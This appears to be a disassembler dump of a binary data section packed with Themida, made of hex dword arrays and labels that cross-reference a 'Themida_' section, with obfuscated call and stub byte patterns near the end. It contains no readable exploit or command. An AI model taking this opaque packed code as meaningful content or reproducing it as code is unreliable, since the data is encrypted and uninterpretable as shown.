		dd 3298B25h, 0AA7248C9h, 0A22DAF15h, 382DAFE0h,	60298B52h
		dd 56CA487Ah, 669191E4h, 0D241F09Eh, 0CA6C4FF1h, 23298B9Ch
		dd 0DAECA643h, 92AB38A1h, 701D40F2h, 17A89997h,	0E7ED7AB0h
		dd 7029E10Fh, 232988CDh, 0E072AB92h, 7750212h, 76D0AA0h
		dd 23299E56h, 0E07AC829h, 9EA0D0FCh, 24CDA913h,	0D4A2ED76h
		dd 3B66E3C8h, 28C1D1C6h, 0EB298BA4h, 4E813355h,	0BC4EE06Dh
		dd 2C7A96D0h, 23298BCDh, 0A276D225h, 398AAFA6h,	0BEA0D1C6h
		dd 24CD8251h, 23438B38h, 232A6378h, 7A098B94h, 6FA0D289h
		dd 67A88F01h, 233E8FB6h, 72688B49h, 40608467h, 3EBC02B5h
		dd 0DC2E6F31h, 7129E144h, 232988A2h, 0E073AB25h, 77D02C8h
		dd 76D0A4Dh, 232991A0h,	0E07BC952h, 28FABB3Ch, 43E10F97h
		dd 232985A3h, 27F0B525h, 0F9C3C19Eh, 82C74ED9h,	2C602F3Ah
		dd 23298BD8h, 0A6A0EA29h, 24CE730Dh, 0CB798B20h, 23298B26h
		dd 7BEAD3B2h, 270DCFC0h, 270DCF25h, 23298B49h, 6BEADB69h
		dd 0F78F59ABh, 1050A888h, 0C73CE298h, 26D10095h, 23298985h
		dd 0DBB40E2Dh, 0E3AA8CB5h, 82AC0231h, 102E6C6Ch, 21C5328Ah
		dd 89DA8B25h, 0CB7E8BF8h, 23298B4Ah, 7CEAD484h,	270DF7DBh
		dd 270DCFA8h, 23298B8Fh, 9AEADC0Dh, 41E5729Fh, 9CA39EC2h
		dd 73B25BDBh, 232F01ABh, 0B62A8B52h, 24CD9F44h,	23298C7Dh
		dd 0C042F4Ah, 0A8416CA2h, 0F040E54h, 496A8CADh,	20C1DDA4h
		dd 3298B52h, 0AA774877h, 0A22DAFE0h, 3A2DAF0Eh,	65298B25h
		dd 6E9C48C4h, 15DCAD4Ah, 0B1A74525h, 27C1D37Bh,	7D298B29h
		dd 73B5ECFFh, 0EBA2D91Ah, 0EE96BA2Ah, 797E7441h, 76D0011h
		dd 2497EDA0h, 0A8290030h, 76D02DAh, 232E6290h, 8B368B4Ah
		dd 0B00CDEAFh, 0A97FD324h, 96D6D29Ah, 24CDAAE5h, 0CB788B38h
		dd 23298B2Ah, 7AEAD2B4h, 270DC7C3h, 270DCFA4h, 23298B84h
		dd 6BEADA08h, 0A6A48242h, 24CE3BF5h, 0CB7A8B43h, 23298B97h
		dd 78EAD06Ah, 270DD7ACh, 270DCF13h, 23298B50h, 0E0EAD8E7h
		dd 0E0F344AAh, 232563BAh, 81848B94h, 5CD0F85h, 6383A275h
		dd 79D1A2E6h, 0CDA95BB6h, 86AC0207h, 0A22E6F58h, 3929E9C7h
		dd 52AC06A3h, 492E6F66h, 20C1D925h, 3298B92h, 0AA734813h
		dd 0A22DAFF0h, 352DAF16h, 61298B29h, 0D94148C6h, 455C35D0h
		dd 0A6A0EFD9h, 24CDAFE3h, 0CB7E8B23h, 23298BA7h, 7CEAD472h
		dd 270DF7A0h, 270DCF15h, 23298B56h, 5DEADC62h, 10AC85EAh
		dd 0DE3F905h, 1A92E01Eh, 0EAC4D04h, 702E6F05h, 3F481EA7h
		dd 27C18CAEh, 0FB298B25h, 43D53ADAh, 9F93D919h,	2C7D9EF4h
		dd 79E13963h, 21A88471h, 74298B94h, 9D79EA15h, 77317A67h
		dd 270DCF19h, 232D0946h, 73498BA4h, 23A2EA0Ch, 0AAE6004Fh
		dd 0CB2DAFD0h, 23298B4Ch, 393BF2FEh, 0FB902670h, 7C20B610h
		dd 0FA9C02FCh, 0DC2E6F4Bh, 0C708CA9Ch, 7229E193h, 232988A2h
		dd 0E070AB25h, 76502CBh, 76D0A4Dh, 23299EA0h, 0E078CA52h
		dd 0BEA09E95h, 24CDA53Dh, 938E0EC7h, 0AE028CC2h, 24CD9787h
		dd 0DCF93C46h, 5AAC0274h, 0AA2E6F4Ah, 0C727CAACh, 7429E193h
		dd 232988A2h, 0E076AB25h, 75502CDh, 76D0A4Dh, 232990A0h
		dd 0E07ECC52h, 0AC5EDABFh, 580CA67Eh, 54806C1h,	0A6EF8CC1h
		dd 24CDA7BFh, 7329E11Ah, 2329884Ch, 0E071AB52h,	76D0271h
		dd 76D0A90h, 23299C4Eh,	0E079CB25h, 0EAD295FEh,	4141EC0h
		dd 27C18C40h, 90298B52h, 45F193EDh, 0A979711Fh,	76D009Fh
		dd 9D290021h, 53CA432h,	270DCFC0h, 4571432Fh, 0DC3747EDh
		dd 0C708CA9Ch, 0C1A8ED93h, 0A6A42EBDh, 24CE3B82h, 2329837Ah
		dd 0F31AE249h, 0D0A57A0Bh, 469C8282h, 7A2E6F23h, 2AC05B6Bh
		dd 2C298B4Ah, 0FB3F4DD5h, 98B745CFh, 27640EC0h,	23438C40h
		dd 232A6300h, 79098B29h, 77A0D157h, 67A88F6Eh, 233D8F01h
		dd 716B8B92h, 0A24FC28Ah, 0E57B1A4Dh, 0C705A6D7h, 3641CC2Eh
		dd 92BD201Eh, 71D0A98h,	5CDC99h, 2329807Bh, 11393149h
		dd 7205979Bh, 0C2A8EC1Fh, 2683ED6h, 0B60A8C70h,	24CDBAFBh
		dd 938E0EA8h, 0F3D68C75h, 0AAE1002Fh, 0C70D4221h, 72AC8A55h
		dd 0E52E6F34h, 0C705A611h, 2343CC4Dh, 232A6377h, 79098B92h
		dd 77A0D18Ah, 67A88F80h, 23308F76h, 716B8B29h, 0A4BAAF57h
		dd 43A3C701h, 12D3342Ah, 0C704CE07h, 0BE00EA4Eh, 24CD8CE9h
		dd 0C7B5713Ah, 9EDD355Ch, 27A884E6h, 0D45A0B6Eh, 9B49EB2Eh
		dd 75BEFFB3h, 9AF80A2Fh, 42D0EADEh, 1FBA3534h, 2683ED6h
		dd 960A8C70h, 24CD90EFh, 938E0EA8h, 23438C75h, 232A6318h
		dd 7A098BA4h, 6FA0D291h, 67A88F0Dh, 233E8FB0h, 72688B4Ah
		dd 2958ECE6h, 0AA402B7h, 0DC2E6F51h, 56940074h,	0AA2E6F4Fh
		dd 0C73D4AACh, 0AEBC0293h, 0AA2E6F67h, 0C7262290h, 0EAC4D95h
		dd 642E6F65h, 0CB7E8BCEh, 23298B51h, 7CEAD409h,	270DF71Dh
		dd 270DCFCBh, 23298B38h, 63EADCD5h, 86CF67A0h, 72973B0Ch
		dd 232663BDh, 29898B29h, 1B277E1Ah, 8A3721EDh, 0B446E5ACh
		dd 25A084D3h, 0A8298B49h, 0C7273611h, 2BC1D255h
		db 29h,	8Bh, 29h
byte_5C2407	db 3Eh			; DATA XREF: Themida_:005829C0o
		dd 149228BAh, 0AA8CFD2Ah, 0C72B2EB0h, 3B41D595h, 0CB6FA82Eh
		dd 23298BB7h, 7F19C15h,	547CA7C9h, 9C047F27h, 0A8FC9AF5h
		dd 0A841BFC7h, 27A8D443h, 8AFCCE6Dh, 7429E1C0h,	232988BAh
		dd 0E076AB29h, 75502CBh, 76D0A4Eh, 23299E21h, 0E07ECC92h
		dd 96A0EAF9h, 24CDA1D9h, 629C74AEh, 0AA2E6F08h,	0C73FE219h
		dd 84AC064Dh, 492E6C95h, 20C1DC92h, 3298B49h, 0AA7648FBh
		dd 0A22DAF2Eh, 3B2DAF6Dh, 64298B94h, 5420481Dh,	0AA1B7712h
		dd 0C72CBE27h, 0F3D67E4Eh, 0CB7A8BCEh, 23298B51h, 78EAD009h
		dd 270DD71Dh, 270DCFCBh, 23298B3Eh, 0E1EAD8D1h,	64FD0A39h
		dd 0A2A8F909h, 0A6F48683h, 0B2BCA241h, 0A82E6F99h, 0C7228AFFh
		dd 0B2AC0222h, 992E6F81h, 3F1B542Eh, 0B6A05B5Bh, 24CDB87Fh
		dd 23B00EA0h, 45D58C70h, 0B62253C6h, 24CDBA68h,	227C3E1Bh
		dd 270D8CADh, 0CB7A8BCEh, 23298B51h, 78EAD009h,	270DD71Dh
		dd 270DCFCBh, 23298B3Ch, 0E0EAD8D1h, 7911A037h,	2CE981B3h
		dd 232A99D6h, 0CEBC8029h, 432E6F8Bh, 232982A2h,	8782D725h
		dd 4727E296h, 0A6A25B6Fh, 24CD8ACDh, 232C620Ch,	73DC8B29h
		dd 42EBE81Ah, 0F040E8Ch, 72668CC1h, 70A3562Bh, 0E441D500h
		dd 437E4D15h, 43F80032h, 984FEA48h, 0A2480178h,	99D4AF4Eh
		dd 2343EC9Ch, 232A63C3h, 7A098B49h, 6FA0D267h, 67A88F76h
		dd 23328F0Dh, 72688B94h, 0A3D34589h, 9D42D6AAh,	96D67768h
		dd 24CDAA08h, 0AEFE7A24h, 0C4992CD7h, 7529E12Eh, 2329887Ch
		dd 0E077AB4Ah, 75D027Bh, 76D0A96h, 23299E4Dh, 0E07FCDA4h
		dd 0DB4970EEh, 42D93426h, 23435B6Bh, 232A631Ch,	7D098B25h
		dd 57A0D551h, 67A88F6Dh, 23318F80h, 756F8B52h, 2BE3F7EAh
		dd 0B6A2F6A5h, 24CDA173h, 490D4BA6h, 20C1DA92h,	3298B49h
		dd 0AA7048FDh, 0A22DAF1Eh, 392DAF6Dh, 62298B94h, 8129481Bh
		dd 33777141h, 0F6BC0044h, 0AA2E6F4Ah, 0C7041221h, 6B97ED55h
		dd 0BAAC005Ah, 492E6F94h, 20C1D84Ah, 3298B25h, 0AA7248C9h
		dd 0A22DAF15h, 352DAFE0h, 60298B52h, 1DFD487Ah,	0BEA27ECAh
		dd 24CD98DBh, 30F836AEh, 496A8C76h, 20C1D949h, 3298BA4h
		dd 0AA734808h, 0A22DAF7Dh, 3B2DAFD0h, 61298B4Ah, 7F764877h
		dd 0A8FC7B46h, 23226352h, 77238BA4h, 0F3E9CF36h, 0BD4B91BBh
		dd 0BEA402B3h, 7C2E6F5Fh, 0A37E90AEh, 0A8700E5Fh, 7329E152h
		dd 2329884Ch, 0E071AB52h, 76D0271h, 76D0A90h, 2329974Eh
		dd 0E079CB25h, 6F9F6BDCh, 0F0B6874Eh, 0CCA8EDACh, 0FB1AF2EBh
		dd 0CB7E8B43h, 23298B97h, 7CEAD46Ah, 270DF7ACh,	270DCF13h
		dd 23298B50h, 28EADCE3h, 970AC467h, 26EC0B13h, 232B089Bh
		dd 0CBA38B4Ah, 30016ACh, 0B6A28C76h, 24CD8468h,	22101E2Dh
		dd 0A6EF8CB6h, 24CDA704h, 7329E1D3h, 232988A2h,	0E071AB25h
		dd 76D02CAh, 76D0A4Dh, 23299FA0h, 0E079CB52h, 0F699E3F1h
		dd 37C0CDF0h, 0E2298B4Ah, 0A3912484h, 56BBC4Fh,	50DFF35Fh
		dd 450C6DC8h, 0A268F18Ch, 24D0AF2Dh, 2AC1FAEEh,	59298B4Ah
		dd 71D956Ah, 2F21545Eh,	3CF01E60h, 74778C40h, 8C36D9h
		dd 0DC708CCDh, 0C708CA21h, 7529E14Dh, 232988CDh, 0E077AB92h
		dd 75D0217h, 76D0AA0h, 23299356h, 0E07FCD29h, 0C4B9879Eh
		dd 84AC0691h, 222E6C95h, 0C73C1E07h, 0CAF9744Eh, 23298BAFh
		dd 0E8DD4AEAh, 0F4A2A321h, 0AAA447A6h, 0C70D42CFh, 23A2CB22h
		dd 0CB7C8BF8h, 23298B4Ah, 7EEAD684h, 270DE7DBh,	270DCFA8h
		dd 23298B88h, 2FEADE0Fh, 45C5E207h, 0BAB301E5h,	130836C0h
		dd 23A28C40h, 0CB798B38h, 23298B2Ah, 7BEAD3B4h,	270DCFC3h
		dd 270DCFA4h, 23298B8Bh, 6EADB09h, 0D97C1A39h, 0C6AC0297h
		dd 492E6F2Ah, 20C1DD94h, 3298B4Ah, 0AA77487Bh, 0A22DAFE6h
		dd 3B2DAF0Dh, 65298BA4h, 0A6794804h, 45564AECh,	99B64215h
		dd 2328C3A3h, 12B4BA25h, 0AE2E6FBEh, 0C4D134CCh, 232662A3h
		dd 973F8B52h, 847F6DE6h, 0BC84A93Ch, 0B8256840h, 33C0DBB7h
		dd 59298B92h, 13CC6DE5h, 0C5BD0A7h, 0F80EFD80h,	0AAFA8B1Eh
		dd 0CB78AF90h, 23298B5Eh, 37686025h, 93277640h,	376DF36Dh
		dd 65694733h, 357B0E65h, 37703E2Ah, 79738C70h, 44F60A2Ch
		dd 0F6BC7422h, 492E6F89h, 20C1DE49h, 3298BA4h, 0AA74480Fh
		dd 0A22DAF45h, 372DAFD0h, 66298B4Ah, 0CAFD4870h, 23298B82h
		dd 0AFCB38ACh, 0D8FAEB9Eh, 8168FAFEh, 9BAAABF2h, 660434F2h
		dd 0DBEC16C7h, 0AA268CC2h, 23298B9Ah, 0E193ED29h, 4248EB68h
		dd 233B6302h, 985E8B29h, 0AAB7E7FFh, 847D600Fh,	652790A3h
		dd 0E9D524F7h, 7350210h, 2ACAD01Eh, 0A84F1B7Ah,	25C0DBE7h
		dd 0F0298B94h, 4D97FC00h, 23431BB3h, 232A63C5h,	7C098B49h
		dd 5FA0D467h, 67A88F76h, 233C8F0Dh, 746E8B94h, 0CB682089h
		dd 23298B29h, 0DFC0FBE8h, 27B78AB5h, 0A87CF36Fh, 24181ED9h
		dd 0DC708CCDh, 0C7320A01h, 7229E14Dh, 232988CDh, 0E070AB92h
		dd 7650210h, 76D0AA0h, 23299D56h, 0E078CA29h, 95445352h
		dd 0BAAC02DEh, 0A82E6F08h, 0C70A8A07h, 0EAC4D4Eh, 702E6F88h
		dd 4BFB3C5Dh, 0B7DC9DFBh, 8E0D8F15h, 493C1927h,	20C1DA25h
		dd 3298B92h, 0AA704810h, 0A22DAFE8h, 3B2DAF16h,	62298B29h
		dd 0E44548C5h, 0A8F569E9h, 629C74F4h, 0A22E6FB3h, 0EF7C69BFh
		dd 84AC0683h, 0A82E6CE2h, 0C723E294h, 232F6293h, 0D4F68B4Ah
		dd 0A2FF402Fh, 0B6A25B6Dh, 24CDAE40h, 12840E2Dh, 0A8498CB6h
		dd 25A384F6h, 0A8298B94h, 0C72832D7h, 0A6EFEA22h, 24CDA7BFh
		dd 7329E10Eh, 2329884Ch, 0E071AB52h, 76D0271h, 76D0A90h
		dd 23299C4Eh, 0E079CB25h, 0B151F9E8h, 0A9C60A2Fh, 6AA4A28Ah
		dd 4B2E6F5Fh, 4D8C719Fh, 457D862Dh, 72D0A0Ch, 11E591FFh
		dd 0CB788BF8h, 23298B4Ah, 7AEAD284h, 270DC7DBh,	270DCFA8h
		dd 23298B88h, 2CEADA0Bh, 6EE25CDFh, 3143ADBh, 61B5D9F3h
		dd 0CDC70BCCh, 5D83E5Bh, 96D68CCDh, 24CDAAD5h, 0CB7F8B20h
		dd 23298B26h, 7DEAD5B2h, 270DFFC0h, 270DCF25h, 23298B4Fh
		dd 0EBEADD6Fh, 6C3AF194h, 7B8ACE5Bh, 84AC0654h,	492E6C22h
		dd 20C1DD49h, 3298BA4h,	0AA77480Ch, 0A22DAF5Dh,	3B2DAFD0h
		dd 65298B4Ah, 0A5954873h, 0DCCB2B00h, 7529E199h, 2329884Ch
		dd 0E077AB52h, 75D0277h, 76D0A90h, 23299C4Eh, 0E07FCD25h
		dd 9BA326BDh, 4549AEFCh, 7490A21Fh, 5F00EDBh, 42718CCDh
		dd 9200E1Dh, 23438CAEh,	232A6375h, 7B098B92h, 67A0D38Ah
		dd 67A88F80h, 23338F76h, 73698B29h, 9E029257h, 0FA3127FEh
		dd 374416ACh, 0A6EF8C76h, 24CDA764h, 7329E1F7h,	232988BAh
		dd 0E071AB29h, 76D02CCh, 76D0A4Eh, 23299C21h, 0E079CB92h
		dd 0ED0EB8EFh, 230905ABh, 37C18B52h, 55298B29h,	2DF0136Eh
		dd 57C46A5Eh, 816CDDC1h, 86F10525h, 2C453723h, 23298B2Fh
		dd 27C1D152h, 0B3298B29h, 0CBB0B2CBh, 23298B4Ch, 8359306Bh
		dd 0CB497382h, 23298B47h, 8097795Fh, 0E9E13859h, 29DB6445h
		dd 4371F1ECh, 7370EA2Bh, 1226D975h, 4277DBF2h, 67A2D313h
		dd 23A28F80h, 232999BAh
		db 29h
byte_5C2BA5	db 35h,	5Dh, 9Ch	; DATA XREF: Themida_:00583F10o
		dd 361380E8h, 33BE3366h, 8F16094Ch, 0CB367F67h,	23298B4Fh
		dd 2AEA53E8h, 0F0A21AF4h, 67A0D270h, 0A9498FB0h, 2325639Bh
		dd 0F10B8B25h, 1B8A6EF9h, 0AFC94F2Bh, 42497914h, 2871EA0Dh
		dd 0C72C2E9Ch, 629C7493h, 492E6F6Bh, 20C1DD25h,	3298B92h
		dd 0AA774817h, 0A22DAFD0h, 3F2DAF16h, 65298B29h, 4A2448C2h
		dd 465B02AFh, 0A3B42B36h, 0A6A49170h, 24CE3BEEh, 0CB7C8BCEh
		dd 23298B51h, 7EEAD609h, 270DE71Dh, 270DCFCBh, 23298B31h
		dd 7AEADED7h, 39AC06C0h, 0BE008C40h, 24CDBAD7h,	23435BD6h
		dd 232A63C2h, 7D098B4Ah, 57A0D5E6h, 67A88FB6h, 233F8F6Dh
		dd 756F8BA4h, 8DD8EA91h, 13480EA0h, 23438C70h, 232A631Bh
		dd 7A098B25h, 6FA0D251h, 67A88F6Dh, 23308F80h, 72688B52h
		dd 5E20D3EAh, 2C559835h, 23298BC7h, 0EAC4D25h, 742E6FBEh
		dd 0CB7C8B23h, 23298BA7h, 7EEAD672h, 270DE7A0h,	270DCF15h
		dd 23298B51h, 0CFEADE60h, 0DCF3684Ah, 0CA8DE333h, 23298BB7h
		dd 71FF71FEh, 0BD994360h, 5576F371h, 972E8F40h,	0CB98DCEBh
		dd 23298B96h, 0B32DD94Fh, 0A84FEBC4h, 0D098EA9Ah, 7179DB48h
		dd 23298D7Dh, 78B2084Ah, 2C76018Fh, 25AE84A3h, 2C298B49h
		dd 23298B22h, 0A871D152h, 732DAF6Dh, 899DEBC6h,	2C485AC0h
		dd 0A871D114h, 2CA88492h, 0CB298B49h, 23298BA3h, 8E0E6358h
		dd 0A885F7FBh, 67A0D26Fh, 0A84F8F6Eh, 2343D3EAh, 232A63C4h
		dd 7D098B49h, 57A0D567h, 67A88F76h, 23358F0Dh, 756F8B94h
		dd 0F28D2D89h, 359BF022h, 0AEA2B8BEh, 24CDA998h, 194362Dh
		dd 96D68CB6h, 24CDAA68h, 0CB798BFEh, 23298B49h,	7BEAD305h
		dd 270DCF1Bh, 270DCFC8h, 23298BB0h, 38EADB12h, 2D6406A2h
		dd 2BC08C70h, 0DE298B4Ah, 0B1BC8A10h, 0AE0016BFh, 0C4992CCCh
		dd 7229E1A3h, 232988BAh, 0E070AB29h, 76502CDh, 76D0A4Eh
		dd 23299C21h, 0E078CA92h, 8F31A237h, 23435B5Bh,	232A6307h
		dd 7E098B29h, 4FA0D657h, 67A88F6Eh, 23358F01h, 766C8B92h
		dd 0D2EB298Ah, 7AF8F56Dh, 0AA7A23B9h, 0C7303EBCh, 25C1D193h
		dd 82298B4Ah, 0CDAC400Ah, 3EDE0AF3h, 7C3C7CDCh,	13640E2Dh
		dd 0A6EF8CB6h, 24CDA704h, 233A62D7h, 1A3E8B4Ah,	2E4BA8D8h
		dd 0A33691F3h, 5CB41833h, 26944992h, 729CA0EDh,	4B2E6F24h
		dd 9265A602h, 2327622Ah, 17818B25h, 0B19621CCh,	1B86B16h
		dd 3FC317D8h, 71D0A33h,	2EF5D697h, 2327089Bh, 2AC08B4Ah
		dd 12298B25h, 0A17526B3h, 6BB2B9BDh, 0BAA402C4h, 0CB2E6F75h
		dd 23298B3Bh, 0F21E3956h, 331FD69Ah, 6680691Bh,	0FF53D059h
		dd 0F8A894DAh, 3909C58Bh, 96D6EA0Dh, 24CDAA68h,	84AC066Dh
		dd 492E6CFAh, 20C1DC25h, 3298B92h, 0AA764816h, 0A22DAFD8h
		dd 362DAF16h, 64298B29h, 7AD448C3h, 23435BB5h, 232A6376h
		dd 78098B92h, 7FA0D08Ah, 67A88F80h, 233C8F76h, 706A8B29h
		dd 204EF357h, 0C7036EFFh, 42A40222h, 0AA2E6FB7h, 0C727E6CCh
		dd 7329E1A3h, 232988BAh, 0E071AB29h, 76D02CCh, 76D0A4Eh
		dd 23299C21h, 0E079CB92h, 80BE3A0Ah, 0AA206124h, 0C72002CFh
		dd 96AC062Eh, 202E6C6Ch, 0C7350EF7h, 7249DB22h,	7179E929h
		dd 0EBA2D558h, 72D02C5h, 23280C5Dh, 0DCDC8B29h,	0C7325E01h
		dd 16A4804Dh, 0A82E6F15h, 7329E14Ah, 232988A1h,	0E071ABA4h
		dd 76D020Ah, 76D0A2Dh, 23299190h, 0E079CB4Ah, 3C86D556h
		dd 0DA1E105Dh, 0DB800EC4h, 2BC18C43h, 44298B52h, 2B920D6Eh
		dd 0A800482Ch, 0CB79D1BBh, 23298B37h, 47E1FD0h,	0B615896Bh
		dd 72AC5FCBh, 36088296h, 0A62617C8h, 23298B8Ch,	232998A3h
		dd 0EA434B25h, 83462A93h, 0DC29B850h, 647D40A4h, 0D9008B7Fh
		dd 72D0276h, 0CB7E8BFEh, 23298B49h, 7CEAD405h, 270DF71Bh
		dd 270DCFC8h, 23298BBFh, 0ACEADC15h, 0D575AAF7h, 0D627C99Bh
		dd 73C601D9h, 0F4A2ED45h, 232D0B9Dh, 9A4F8B49h,	0B0488BBFh
		dd 3A92ED32h, 0B6D6EA62h, 24CD9015h, 0B2AC02B6h, 0AA2E6F08h
		dd 0C7184617h, 232E624Eh, 0BC588BA4h, 0EC16D0BCh, 0F6AC4C92h
		dd 2C2E6FBEh, 0DC298B4Ah, 0C7041AB0h, 0D8A2ED95h, 3B4C0EC0h
		dd 9E288C40h, 24CD8E47h, 298C0EA2h, 0BEA48C70h,	24C180A9h
		dd 0AE28C8ACh, 0C705FA2Fh, 9E9C064Eh, 9A2E63AFh, 23298B61h
		dd 10C22FDAh, 23298B2Ch, 57E9804Ah, 23314926h, 2F0DCF19h
		dd 2329631Ah, 0A2728BA4h, 23299C91h, 7750229h, 76D0284h
		dd 1491D05Eh, 0DC293ADFh, 76D0072h, 49C9744Dh, 20C1DEA4h
		dd 3298B52h, 0AA744874h, 0A22DAFF8h, 362DAF0Eh,	66298B25h
		dd 0B88548C7h, 3EC30A2Fh, 7329E125h, 232988BAh,	0E071AB29h
		dd 76D02CCh, 76D0A4Eh, 23299221h, 0E079CB92h, 2D98E384h
		dd 29C0DB18h, 0A2298B52h, 6B3C75EEh, 927521E9h,	0F3A2EDB0h
		dd 23276244h, 0DACC8B92h, 906792ACh, 0B7EF05B9h, 54B49019h
		dd 0DB8036A4h, 0AEA48C73h, 24C1873Fh, 582BE9Dh,	0AACB80Ah
		dd 82E6F50h, 21C04A6Bh,	92A8DCEBh, 0C17629E1h, 94232988h
		dd 17E074ABh, 21074502h, 96076D0Ah, 0F305E983h,	6AD98BA4h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0A819C351h, 0BFAA5E34h, 2DB58Bh, 8D8B07E4h
		dd 7E42EE1h, 22E9h, 88A0F00h, 0F000000h, 289h, 61616000h
		dd 0CE9C3F5h, 29000000h, 0DDE124F7h, 1CB7B6Eh, 8B31F553h
		dd 188A0FC0h, 60000000h, 6E9h, 20F54000h, 0E9A76D1Dh, 6
		dd 0C6FA3C99h, 8361BA58h, 0E413F1BDh, 9750007h,	935BD83h
		dd 740007E4h, 8B535019h, 4B9B8C0h, 85890000h, 7E40EEDh
		dd 0EA579D8Dh, 0D3FF07E6h, 0BD83585Bh, 7E40935h, 50177400h
		dd 4B9B853h, 85890000h,	7E40EEDh, 0E6F89D8Dh, 0D3FF07E6h
		dd 6A585Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 590FF3C3h, 0A508BE89h, 0BE91Ah, 0A7F00000h
		dd 5D717052h, 0BF568E2Dh, 870FF96Eh, 1,	0E9C08BF8h, 12h
		dd 269F39D9h, 7C814869h, 689EBD65h, 0BB63BDA8h,	8B4096F7h
		dd 51006AC1h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 1B547F0Bh, 0B5893C14h, 7E4009Dh,	4EBh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 9F32B0C3h, 90BA66B9h, 5E93AE5h, 6D000000h, 9780F8Ch
		dd 0E7816650h, 8D5ED989h, 0E40D8585h, 39858907h, 9007E427h
		dd 0CE6BF50h, 505F71FFh, 0D38B6660h, 5A616050h,	6A9061h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 4AA6E0C3h, 2037FB4Ch, 858992CFh, 7E40659h, 0B70F006Ah
		dd 66006AF3h, 8DAB2BBFh, 0E80F9485h, 835E5707h,	6A05C0h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0C3C1E1C3h, 0EF91D740h, 0FC80BF66h, 13E950h,	2E250000h
		dd 6E188B7Bh, 0C30D0488h, 69D3AE2Ch, 0E9EF4973h, 24048941h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 50C35242h
		dd 362371BEh, 8B006A0Eh, 0E41EC1BDh, 6A006A07h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 3CACC351h, 88DAF21Fh, 89FF3770h, 0E40F998Dh,	7195FF07h
		dd 6A07E424h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h
		dd 40000000h, 0DA0EC350h, 5E98D3Ch, 0AD000000h,	0A83A8465h
		dd 0D64B9D8Dh, 6A07E7h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 9705A5C3h, 0B9CC1ED7h, 0FD3FF85h
		dd 284h, 0FFF18B00h, 0E420B985h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 44FD2015h
		dd 5E9FBh, 48FE0000h, 0E913C71Ch, 6FAh,	0E8h, 0ED815D00h
		dd 7E80F9Eh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	0CEC35141h, 0F9CB93A8h,	8DB589D3h, 8107E422h, 0E42AD5BDh
		dd 7D007h, 0D860F00h, 29000001h, 0E418358Dh, 699D8B07h
		dd 6A07E40Bh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 834CC353h, 0D0919E04h,	5252AE9Dh
		dd 6800Fh, 0B58B0000h, 7E40A9Dh, 0E381FC5Fh, 100h, 2A79BD01h
		dd 0DB0B07E4h, 7D850Fh,	6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 5FDA43C3h, 6E2F1E38h
		dd 1A718589h, 853107E4h, 7E41C61h, 0DD3BD83h, 0F0007E8h
		dd 2784h, 46E9F500h, 6A000000h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0BE65C355h,	355520EFh
		dd 0DD385C7h, 107E8h, 0B5030000h, 7E43565h, 10E9h, 89BD8B00h
		dd 0C707E426h, 0E80DD385h, 7, 699D8D00h, 6A07E40Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 9F3CC357h, 0E62F86C3h, 0FF238136h, 0BFFFFFFEh, 50747854h
		dd 8BDB8C66h, 4C3F6F3h,	93840Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 688D30C3h
		dd 0FFB72571h, 0E42D9195h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 8E8FDB9Fh
		dd 0F5090E0h, 1C88h, 10E800h, 0D3870000h, 6C948130h, 0BB236411h
		dd 821231B7h, 8C0F219Ah, 0
		dd 6A905Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 7F8693C3h, 29B586B9h, 0E41B4985h,	409E907h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 277AECC3h, 899D2EAFh, 0E402A995h,	8900B007h
		dd 0E431B19Dh, 0F2B70F07h, 6A70E6h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 4F3A05C3h
		dd 734561DEh, 89603BE5h, 0E41A0D8Dh, 66EDBE07h,	66617BF5h
		dd 0E463BEBEh, 53006A71h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 669025C0h, 0C8C7BB13h
		dd 14E9E3CEh, 0D6000000h, 2CB43DDDh, 0EC95E3C9h, 37D659F2h
		dd 4A696895h, 665D9225h, 0B60FF78Bh, 998589D8h,	0BA07E415h
		dd 6, 2B58589h,	0C38B07E4h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 0BCC35141h, 898E74BFh, 0E42211BDh, 4E8C107h
		dd 66E2F766h, 2D5BC781h, 6AD82Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 8D8977C3h, 7E408CDh
		dd 2115BD8Bh, 609307E4h, 14830Fh, 0FE90000h, 4000000h
		dd 0E50B9D47h, 639FE03h, 0B1BD9607h, 66603EC9h,	0E8D1AFBBh
		dd 9, 0DE3B9B23h, 319EA435h, 6161593Bh,	0C56CBE50h, 29934197h
		dd 0E42115B5h, 0D5B5FF07h, 8107E42Ah, 5E93BADFh, 4195FF6Dh
		dd 6A07E40Eh, 3E85000h,	20000000h, 8958C358h, 81042444h
